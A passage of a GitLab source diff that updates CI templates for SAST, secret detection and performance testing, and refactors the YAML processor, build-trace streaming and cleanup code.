SECURE_ANALYZERS_PREFIX: "registry.gitlab.com/gitlab-org/security-products/analyzers"
- SAST_DEFAULT_ANALYZERS: "bandit, brakeman, gosec, spotbugs, flawfinder, phpcs-security-audit, security-code-scan, nodejs-scan, eslint, secrets, sobelow, pmd-apex, kubesec"
+ SAST_DEFAULT_ANALYZERS: "bandit, brakeman, gosec, spotbugs, flawfinder, phpcs-security-audit, security-code-scan, nodejs-scan, eslint, sobelow, pmd-apex, kubesec"
SAST_EXCLUDED_PATHS: "spec, test, tests, tmp"
SAST_ANALYZER_IMAGE_TAG: 2
- SAST_DISABLE_DIND: "true"
SCAN_KUBERNETES_MANIFESTS: "false"
sast:
stage: test
- allow_failure: true
artifacts:
reports:
sast: gl-sast-report.json
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'true'
- when: never
- - if: $CI_COMMIT_BRANCH && $GITLAB_FEATURES =~ /\bsast\b/
- image: docker:stable
+ - when: never
variables:
SEARCH_MAX_DEPTH: 4
- DOCKER_DRIVER: overlay2
- DOCKER_TLS_CERTDIR: ""
- services:
- - docker:stable-dind
script:
- - |
- if ! docker info &>/dev/null; then
- if [ -z "$DOCKER_HOST" -a "$KUBERNETES_PORT" ]; then
- export DOCKER_HOST='tcp://localhost:2375'
- fi
- fi
- - |
- docker run \
- $(awk 'BEGIN{for(v in ENVIRON) print v}' | grep -v -E '^(DOCKER_|CI|GITLAB_|FF_|HOME|PWD|OLDPWD|PATH|SHLVL|HOSTNAME)' | awk '{printf " -e %s", $0}') \
- --volume "$PWD:/code" \
- --volume /var/run/docker.sock:/var/run/docker.sock \
- "registry.gitlab.com/gitlab-org/security-products/sast:$SAST_ANALYZER_IMAGE_TAG" /app/bin/run /code
+ - echo "$CI_JOB_NAME is used for configuration only, and its script should not be executed"
+ - exit 1
.sast-analyzer:
extends: sast
- services: []
+ allow_failure: true
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH
script:
@@ -59,9 +40,11 @@ sast:
bandit-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/bandit:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/bandit:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /bandit/
@@ -71,9 +54,11 @@ bandit-sast:
brakeman-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/brakeman:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/brakeman:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /brakeman/
@@ -83,9 +68,11 @@ brakeman-sast:
eslint-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/eslint:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/eslint:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /eslint/
@@ -99,9 +86,11 @@ eslint-sast:
flawfinder-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/flawfinder:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/flawfinder:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /flawfinder/
@@ -112,9 +101,11 @@ flawfinder-sast:
kubesec-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/kubesec:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/kubesec:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /kubesec/ &&
@@ -123,9 +114,11 @@ kubesec-sast:
gosec-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/gosec:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/gosec:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /gosec/
@@ -135,9 +128,11 @@ gosec-sast:
nodejs-scan-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/nodejs-scan:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/nodejs-scan:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /nodejs-scan/
@@ -147,9 +142,11 @@ nodejs-scan-sast:
phpcs-security-audit-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/phpcs-security-audit:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/phpcs-security-audit:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /phpcs-security-audit/
@@ -159,31 +156,25 @@ phpcs-security-audit-sast:
pmd-apex-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/pmd-apex:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/pmd-apex:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /pmd-apex/
exists:
- '**/*.cls'
-secrets-sast:
- extends: .sast-analyzer
- image:
- name: "$SECURE_ANALYZERS_PREFIX/secrets:$SAST_ANALYZER_IMAGE_TAG"
- rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
- when: never
- - if: $CI_COMMIT_BRANCH &&
- $SAST_DEFAULT_ANALYZERS =~ /secrets/
-
security-code-scan-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/security-code-scan:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/security-code-scan:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /security-code-scan/
@@ -194,9 +185,11 @@ security-code-scan-sast:
sobelow-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/sobelow:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/sobelow:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /sobelow/
@@ -206,9 +199,11 @@ sobelow-sast:
spotbugs-sast:
extends: .sast-analyzer
image:
- name: "$SECURE_ANALYZERS_PREFIX/spotbugs:$SAST_ANALYZER_IMAGE_TAG"
+ name: "$SAST_ANALYZER_IMAGE"
+ variables:
+ SAST_ANALYZER_IMAGE: "$SECURE_ANALYZERS_PREFIX/spotbugs:$SAST_ANALYZER_IMAGE_TAG"
rules:
- - if: $SAST_DISABLED || $SAST_DISABLE_DIND == 'false'
+ - if: $SAST_DISABLED
when: never
- if: $CI_COMMIT_BRANCH &&
$SAST_DEFAULT_ANALYZERS =~ /spotbugs/
diff --git a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
index b897c7b482f..bde6a0fbebb 100644
--- a/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Security/Secret-Detection.gitlab-ci.yml
@@ -35,6 +35,7 @@ secret_detection:
- if: $CI_COMMIT_BRANCH && $CI_COMMIT_BRANCH != $CI_DEFAULT_BRANCH
script:
- git fetch origin $CI_DEFAULT_BRANCH $CI_BUILD_REF_NAME
- - export SECRET_DETECTION_COMMIT_TO=$(git log --left-right --cherry-pick --pretty=format:"%H" refs/remotes/origin/$CI_DEFAULT_BRANCH...refs/remotes/origin/$CI_BUILD_REF_NAME | tail -n 1)
- - export SECRET_DETECTION_COMMIT_FROM=$CI_COMMIT_SHA
+ - git log --left-right --cherry-pick --pretty=format:"%H" refs/remotes/origin/$CI_DEFAULT_BRANCH...refs/remotes/origin/$CI_BUILD_REF_NAME > "$CI_COMMIT_SHA"_commit_list.txt
+ - export SECRET_DETECTION_COMMITS_FILE="$CI_COMMIT_SHA"_commit_list.txt
- /analyzer run
+ - rm "$CI_COMMIT_SHA"_commit_list.txt
diff --git a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
index 9dbd9b679a8..e591e3cc1e2 100644
--- a/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Browser-Performance.gitlab-ci.yml
@@ -12,15 +12,15 @@ performance:
variables:
URL: ''
SITESPEED_IMAGE: sitespeedio/sitespeed.io
- SITESPEED_VERSION: 13.3.0
+ SITESPEED_VERSION: 14.1.0
SITESPEED_OPTIONS: ''
services:
- docker:stable-dind
script:
- mkdir gitlab-exporter
- - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/master/index.js
+ - wget -O ./gitlab-exporter/index.js https://gitlab.com/gitlab-org/gl-performance/raw/1.1.0/index.js
- mkdir sitespeed-results
- - docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS
+ - docker run --shm-size=1g --rm -v "$(pwd)":/sitespeed.io $SITESPEED_IMAGE:$SITESPEED_VERSION --plugins.add ./gitlab-exporter --cpu --outputFolder sitespeed-results $URL $SITESPEED_OPTIONS
- mv sitespeed-results/data/performance.json browser-performance.json
artifacts:
paths:
diff --git a/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
index f964b3b2caf..cd23af562e5 100644
--- a/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
@@ -14,10 +14,11 @@ load_performance:
K6_VERSION: 0.27.0
K6_TEST_FILE: github.com/loadimpact/k6/samples/http_get.js
K6_OPTIONS: ''
+ K6_DOCKER_OPTIONS: ''
services:
- docker:stable-dind
script:
- - docker run --rm -v "$(pwd)":/k6 -w /k6 $K6_IMAGE:$K6_VERSION run $K6_TEST_FILE --summary-export=load-performance.json $K6_OPTIONS
+ - docker run --rm -v "$(pwd)":/k6 -w /k6 $K6_DOCKER_OPTIONS $K6_IMAGE:$K6_VERSION run $K6_TEST_FILE --summary-export=load-performance.json $K6_OPTIONS
artifacts:
reports:
load_performance: load-performance.json
diff --git a/lib/gitlab/ci/templates/npm.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
index 035ba52da84..0a739cf122d 100644
--- a/lib/gitlab/ci/templates/npm.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
@@ -55,5 +55,5 @@ publish_package:
npm publish &&
echo "Successfully published version ${NPM_PACKAGE_VERSION} of ${NPM_PACKAGE_NAME} to GitLab's NPM registry: ${CI_PROJECT_URL}/-/packages"
} || {
- echo "No new version of ${NPM_PACKAGE_NAME} published. This is most likely because version ${NPM_PACKAGE_VERSION} already exists in GitLab's NPM registry."
+ echo "No new version of ${NPM_PACKAGE_NAME} published. This is most likely because version ${NPM_PACKAGE_VERSION} already exists in GitLab's NPM registry."; exit 1
}
diff --git a/lib/gitlab/ci/trace.rb b/lib/gitlab/ci/trace.rb
index f76aacc2d19..348e5472cb4 100644
--- a/lib/gitlab/ci/trace.rb
+++ b/lib/gitlab/ci/trace.rb
@@ -79,22 +79,13 @@ module Gitlab
job.trace_chunks.any? || current_path.present? || old_trace.present?
end
- def read
- stream = Gitlab::Ci::Trace::Stream.new do
- if trace_artifact
- trace_artifact.open
- elsif job.trace_chunks.any?
- Gitlab::Ci::Trace::ChunkedIO.new(job)
- elsif current_path
- File.open(current_path, "rb")
- elsif old_trace
- StringIO.new(old_trace)
- end
- end
+ def read(should_retry: true, &block)
+ read_stream(&block)
+ rescue Errno::ENOENT
+ raise unless should_retry
- yield stream
- ensure
- stream&.close
+ job.reset
+ read_stream(&block)
end
def write(mode, &blk)
@@ -141,6 +132,24 @@ module Gitlab
private
+ def read_stream
+ stream = Gitlab::Ci::Trace::Stream.new do
+ if trace_artifact
+ trace_artifact.open
+ elsif job.trace_chunks.any?
+ Gitlab::Ci::Trace::ChunkedIO.new(job)
+ elsif current_path
+ File.open(current_path, "rb")
+ elsif old_trace
+ StringIO.new(old_trace)
+ end
+ end
+
+ yield stream
+ ensure
+ stream&.close
+ end
+
def unsafe_write!(mode, &blk)
stream = Gitlab::Ci::Trace::Stream.new do
if trace_artifact
diff --git a/lib/gitlab/ci/trace/metrics.rb b/lib/gitlab/ci/trace/metrics.rb
new file mode 100644
index 00000000000..82a7d5fb83c
--- /dev/null
+++ b/lib/gitlab/ci/trace/metrics.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Ci
+ class Trace
+ class Metrics
+ extend Gitlab::Utils::StrongMemoize
+
+ OPERATIONS = [:appended, :streamed, :chunked, :mutated, :overwrite,
+ :accepted, :finalized, :discarded, :conflict].freeze
+
+ def increment_trace_operation(operation: :unknown)
+ unless OPERATIONS.include?(operation)
+ raise ArgumentError, "unknown trace operation: #{operation}"
+ end
+
+ self.class.trace_operations.increment(operation: operation)
+ end
+
+ def increment_trace_bytes(size)
+ self.class.trace_bytes.increment(by: size.to_i)
+ end
+
+ def self.trace_operations
+ strong_memoize(:trace_operations) do
+ name = :gitlab_ci_trace_operations_total
+ comment = 'Total amount of different operations on a build trace'
+
+ Gitlab::Metrics.counter(name, comment)
+ end
+ end
+
+ def self.trace_bytes
+ strong_memoize(:trace_bytes) do
+ name = :gitlab_ci_trace_bytes_total
+ comment = 'Total amount of build trace bytes transferred'
+
+ Gitlab::Metrics.counter(name, comment)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/ci/trace/stream.rb b/lib/gitlab/ci/trace/stream.rb
index 20f5620dd64..618438c8887 100644
--- a/lib/gitlab/ci/trace/stream.rb
+++ b/lib/gitlab/ci/trace/stream.rb
@@ -8,7 +8,7 @@ module Gitlab
BUFFER_SIZE = 4096
LIMIT_SIZE = 500.kilobytes
- attr_reader :stream
+ attr_reader :stream, :metrics
delegate :close, :tell, :seek, :size, :url, :truncate, to: :stream, allow_nil: true
@@ -16,9 +16,10 @@ module Gitlab
alias_method :present?, :valid?
- def initialize
+ def initialize(metrics = Trace::Metrics.new)
@stream = yield
@stream&.binmode
+ @metrics = metrics
end
def valid?
@@ -43,6 +44,9 @@ module Gitlab
def append(data, offset)
data = data.force_encoding(Encoding::BINARY)
+ metrics.increment_trace_operation(operation: :streamed)
+ metrics.increment_trace_bytes(data.bytesize)
+
stream.seek(offset, IO::SEEK_SET)
stream.write(data)
stream.truncate(offset + data.bytesize)
diff --git a/lib/gitlab/ci/warnings.rb b/lib/gitlab/ci/warnings.rb
new file mode 100644
index 00000000000..7138fd21b72
--- /dev/null
+++ b/lib/gitlab/ci/warnings.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+module Gitlab::Ci::Warnings
+ MAX_LIMIT = 25
+end
diff --git a/lib/gitlab/ci/yaml_processor.rb b/lib/gitlab/ci/yaml_processor.rb
index b7046064f44..ee55eb8b22a 100644
--- a/lib/gitlab/ci/yaml_processor.rb
+++ b/lib/gitlab/ci/yaml_processor.rb
@@ -1,183 +1,65 @@
# frozen_string_literal: true
+# This is the CI Linter component that runs the syntax validations
+# while parsing the YAML config into a data structure that is
+# then presented to the caller as result object.
+# After syntax validations (done by Ci::Config), this component also
+# runs logical validation on the built data structure.
module Gitlab
module Ci
class YamlProcessor
- # ValidationError is treated like a result object in the form of an exception.
- # We can return any warnings, raised during the config validation, along with
- # the error object until we support multiple messages to be returned.
- class ValidationError < StandardError
- attr_reader :warnings
-
- def initialize(message, warnings: [])
- @warnings = warnings
- super(message)
- end
- end
-
- include Gitlab::Config::Entry::LegacyValidationHelpers
+ ValidationError = Class.new(StandardError)
- attr_reader :stages, :jobs
+ def self.validation_message(content, opts = {})
+ result = new(content, opts).execute
- class Result
- attr_reader :config, :errors, :warnings
+ result.errors.first
+ end
- def initialize(config: nil, errors: [], warnings: [])
- @config = config
- @errors = errors
- @warnings = warnings
- end
+ def initialize(config_content, opts = {})
+ @config_content = config_content
+ @opts = opts
+ end
- def valid?
- config.present? && errors.empty?
+ def execute
+ if @config_content.blank?
+ return Result.new(errors: ['Please provide content of .gitlab-ci.yml'])
end
- end
- def initialize(config, opts = {})
- @ci_config = Gitlab::Ci::Config.new(config, **opts)
- @config = @ci_config.to_hash
+ @ci_config = Gitlab::Ci::Config.new(@config_content, **@opts)
unless @ci_config.valid?
- error!(@ci_config.errors.first)
+ return Result.new(ci_config: @ci_config, errors: @ci_config.errors, warnings: @ci_config.warnings)
end
- initial_parsing
- rescue Gitlab::Ci::Config::ConfigError => e
- error!(e.message)
- end
-
- def self.new_with_validation_errors(content, opts = {})
- return Result.new(errors: ['Please provide content of .gitlab-ci.yml']) if content.blank?
+ run_logical_validations!
- config = Gitlab::Ci::Config.new(content, **opts)
- return Result.new(errors: config.errors, warnings: config.warnings) unless config.valid?
-
- config = Gitlab::Ci::YamlProcessor.new(content, opts)
- Result.new(config: config, warnings: config.warnings)
-
- rescue ValidationError => e
- Result.new(errors: [e.message], warnings: e.warnings)
+ Result.new(ci_config: @ci_config, warnings: @ci_config&.warnings)
rescue Gitlab::Ci::Config::ConfigError => e
- Result.new(errors: [e.message])
- end
-
- def warnings
- @ci_config&.warnings || []
- end
-
- def builds
- @jobs.map do |name, _|
- build_attributes(name)
- end
- end
-
- def build_attributes(name)
- job = @jobs.fetch(name.to_sym, {})
-
- { stage_idx: @stages.index(job[:stage]),
- stage: job[:stage],
- tag_list: job[:tags],
- name: job[:name].to_s,
- allow_failure: job[:ignore],
- when: job[:when] || 'on_success',
- environment: job[:environment_name],
- coverage_regex: job[:coverage],
- yaml_variables: transform_to_yaml_variables(job[:variables]),
- needs_attributes: job.dig(:needs, :job),
- interruptible: job[:interruptible],
- only: job[:only],
- except: job[:except],
- rules: job[:rules],
- cache: job[:cache],
- resource_group_key: job[:resource_group],
- scheduling_type: job[:scheduling_type],
- secrets: job[:secrets],
- options: {
- image: job[:image],
- services: job[:services],
- artifacts: job[:artifacts],
- dependencies: job[:dependencies],
- cross_dependencies: job.dig(:needs, :cross_dependency),
- job_timeout: job[:timeout],
- before_script: job[:before_script],
- script: job[:script],
- after_script: job[:after_script],
- environment: job[:environment],
- retry: job[:retry],
- parallel: job[:parallel],
- instance: job[:instance],
- start_in: job[:start_in],
- trigger: job[:trigger],
- bridge_needs: job.dig(:needs, :bridge)&.first,
- release: release(job)
- }.compact }.compact
- end
+ Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings)
- def release(job)
- job[:release]
- end
-
- def stage_builds_attributes(stage)
- @jobs.values
- .select { |job| job[:stage] == stage }
- .map { |job| build_attributes(job[:name]) }
- end
-
- def stages_attributes
- @stages.uniq.map do |stage|
- seeds = stage_builds_attributes(stage)
-
- { name: stage, index: @stages.index(stage), builds: seeds }
- end
- end
-
- def workflow_attributes
- {
- rules: @config.dig(:workflow, :rules),
- yaml_variables: transform_to_yaml_variables(@variables)
- }
- end
-
- def self.validation_message(content, opts = {})
- return 'Please provide content of .gitlab-ci.yml' if content.blank?
-
- begin
- Gitlab::Ci::YamlProcessor.new(content, opts)
- nil
- rescue ValidationError => e
- e.message
- end
+ rescue ValidationError => e
+ Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings)
end
private
- def initial_parsing
- ##
- # Global config
- #
- @variables = @ci_config.variables
+ def run_logical_validations!
@stages = @ci_config.stages
-
- ##
- # Jobs
- #
- @jobs = Ci::Config::Normalizer.new(@ci_config.jobs).normalize_jobs
+ @jobs = @ci_config.normalized_jobs
@jobs.each do |name, job|
- # logical validation for job
- validate_job_stage!(name, job)
- validate_job_dependencies!(name, job)
- validate_job_needs!(name, job)
- validate_dynamic_child_pipeline_dependencies!(name, job)
- validate_job_environment!(name, job)
+ validate_job!(name, job)
end
end
- def transform_to_yaml_variables(variables)
- variables.to_h.map do |key, value|
- { key: key.to_s, value: value, public: true }
- end
+ def validate_job!(name, job)
+ validate_job_stage!(name, job)
+ validate_job_dependencies!(name, job)
+ validate_job_needs!(name, job)
+ validate_dynamic_child_pipeline_dependencies!(name, job)
+ validate_job_environment!(name, job)
end
def validate_job_stage!(name, job)
@@ -188,10 +70,6 @@ module Gitlab
end
end
- def error!(message)
- raise ValidationError.new(message, warnings: warnings)
- end
-
def validate_job_dependencies!(name, job)
return unless job[:dependencies]
@@ -267,6 +145,10 @@ module Gitlab
error!("#{name} job: on_stop job #{on_stop} needs to have action stop defined")
end
end
+
+ def error!(message)
+ raise ValidationError.new(message)
+ end
end
end
end
diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb
new file mode 100644
index 00000000000..68f61e52df7
--- /dev/null
+++ b/lib/gitlab/ci/yaml_processor/result.rb
@@ -0,0 +1,120 @@
+# frozen_string_literal: true
+
+# A data object that wraps `Ci::Config` and any messages
+# (errors, warnings) generated by the YamlProcessor.
+module Gitlab
+ module Ci
+ class YamlProcessor
+ class Result
+ attr_reader :errors, :warnings
+
+ def initialize(ci_config: nil, errors: [], warnings: [])
+ @ci_config = ci_config
+ @errors = errors || []
+ @warnings = warnings || []
+ end
+
+ def valid?
+ errors.empty?
+ end
+
+ def stages_attributes
+ stages.uniq.map do |stage|
+ seeds = stage_builds_attributes(stage)
+
+ { name: stage, index: stages.index(stage), builds: seeds }
+ end
+ end
+
+ def builds
+ jobs.map do |name, _|
+ build_attributes(name)
+ end
+ end
+
+ def stage_builds_attributes(stage)
+ jobs.values
+ .select { |job| job[:stage] == stage }
+ .map { |job| build_attributes(job[:name]) }
+ end
+
+ def workflow_attributes
+ {
+ rules: hash_config.dig(:workflow, :rules),
+ yaml_variables: transform_to_yaml_variables(variables)
+ }
+ end
+
+ def jobs
+ @jobs ||= @ci_config.normalized_jobs
+ end
+
+ def stages
+ @stages ||= @ci_config.stages
+ end
+
+ def build_attributes(name)
+ job = jobs.fetch(name.to_sym, {})
+
+ { stage_idx: stages.index(job[:stage]),
+ stage: job[:stage],
+ tag_list: job[:tags],
+ name: job[:name].to_s,
+ allow_failure: job[:ignore],
+ when: job[:when] || 'on_success',
+ environment: job[:environment_name],
+ coverage_regex: job[:coverage],
+ yaml_variables: transform_to_yaml_variables(job[:variables]),
+ needs_attributes: job.dig(:needs, :job),
+ interruptible: job[:interruptible],
+ only: job[:only],
+ except: job[:except],
+ rules: job[:rules],
+ cache: job[:cache],
+ resource_group_key: job[:resource_group],
+ scheduling_type: job[:scheduling_type],
+ secrets: job[:secrets],
+ options: {
+ image: job[:image],
+ services: job[:services],
+ artifacts: job[:artifacts],
+ dependencies: job[:dependencies],
+ cross_dependencies: job.dig(:needs, :cross_dependency),
+ job_timeout: job[:timeout],
+ before_script: job[:before_script],
+ script: job[:script],
+ after_script: job[:after_script],
+ environment: job[:environment],
+ retry: job[:retry],
+ parallel: job[:parallel],
+ instance: job[:instance],
+ start_in: job[:start_in],
+ trigger: job[:trigger],
+ bridge_needs: job.dig(:needs, :bridge)&.first,
+ release: release(job)
+ }.compact }.compact
+ end
+
+ private
+
+ def variables
+ @variables ||= @ci_config.variables
+ end
+
+ def hash_config
+ @hash_config ||= @ci_config.to_hash
+ end
+
+ def release(job)
+ job[:release]
+ end
+
+ def transform_to_yaml_variables(variables)
+ variables.to_h.map do |key, value|
+ { key: key.to_s, value: value, public: true }
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/cleanup/orphan_job_artifact_files.rb b/lib/gitlab/cleanup/orphan_job_artifact_files.rb
index 017adc7be4a..6d18f9070cc 100644
--- a/lib/gitlab/cleanup/orphan_job_artifact_files.rb
+++ b/lib/gitlab/cleanup/orphan_job_artifact_files.rb
@@ -18,7 +18,7 @@ module Gitlab
@limit = limit
@dry_run = dry_run
@niceness = (niceness || DEFAULT_NICENESS).downcase
- @logger = logger || Rails.logger # rubocop:disable Gitlab/RailsLogger
+ @logger = logger || Gitlab::AppLogger
@total_found = @total_cleaned = 0
new_batch!
diff --git a/lib/gitlab/cleanup/orphan_job_artifact_files_batch.rb b/lib/gitlab/cleanup/orphan_job_artifact_files_batch.rb
index 6ad05c7b2e4..4b1d16eb974 100644
--- a/lib/gitlab/cleanup/orphan_job_artifact_files_batch.rb
+++ b/lib/gitlab/cleanup/orphan_job_artifact_files_batch.rb
@@ -22,7 +22,7 @@ module Gitlab
attr_reader :batch_size, :dry_run
attr_accessor :artifact_files
- def initialize(batch_size:, dry_run: true, logger: Rails.logger) # rubocop:disable Gitlab/RailsLogger
+ def initialize(batch_size:, dry_run: true, logger: Gitlab::AppLogger)
@batch_size = batch_size
@dry_run = dry_run
@logger = logger
diff --git a/lib/gitlab/cleanup/orphan_lfs_file_references.rb b/lib/gitlab/cleanup/orphan_lfs_file_references.rb
index 3df243e319e..14eac474e27 100644
--- a/lib/gitlab/cleanup/orphan_lfs_file_references.rb
+++ b/lib/gitlab/cleanup/orphan_lfs_file_references.rb
@@ -12,7 +12,7 @@ module Gitlab
def initialize(project, dry_run: true, logger: nil, limit: nil)
@project = project
@dry_run = dry_run
- @logger = logger || Rails.logger # rubocop:disable Gitlab/RailsLogger
+ @logger = logger || Gitlab::AppLogger
@limit = limit
end
@@ -25,7 +25,7 @@ module Gitlab
private
def remove_orphan_references
- invalid_references = project.lfs_objects_projects.where(lfs_object: orphan_objects) # rubocop:disable CodeReuse/ActiveRecord
+ invalid_references = project.lfs_objects_projects.lfs_object_in(orphan_objects)
if dry_run
log_info("Found invalid references: #{invalid_references.count}")
@@ -41,26 +41,22 @@ module Gitlab
end
end
- def lfs_oids_from_repository
- project.repository.gitaly_blob_client.get_all_lfs_pointers.map(&:lfs_oid)
- end
-
- def orphan_oids
- lfs_oids_from_database - lfs_oids_from_repository
- end
+ def orphan_objects
+ # Get these first so racing with a git push can't remove any LFS objects
+ oids = project.lfs_objects_oids
- def lfs_oids_from_database
- oids = []
+ repos = [
+ project.repository,
+ project.design_repository,
+ project.wiki.repository
+ ].select(&:exists?)
- project.lfs_objects.each_batch do |relation|
- oids += relation.pluck(:oid) # rubocop:disable CodeReuse/ActiveRecord
+ repos.flat_map do |repo|
+ oids -= repo.gitaly_blob_client.get_all_lfs_pointers.map(&:lfs_oid)
end
- oids
- end
-
- def orphan_objects
- LfsObject.where(oid: orphan_oids) # rubocop:disable CodeReuse/ActiveRecord
+ # The remaining OIDs are not used by any repository, so are orphans
+ LfsObject.for_oids(oids)
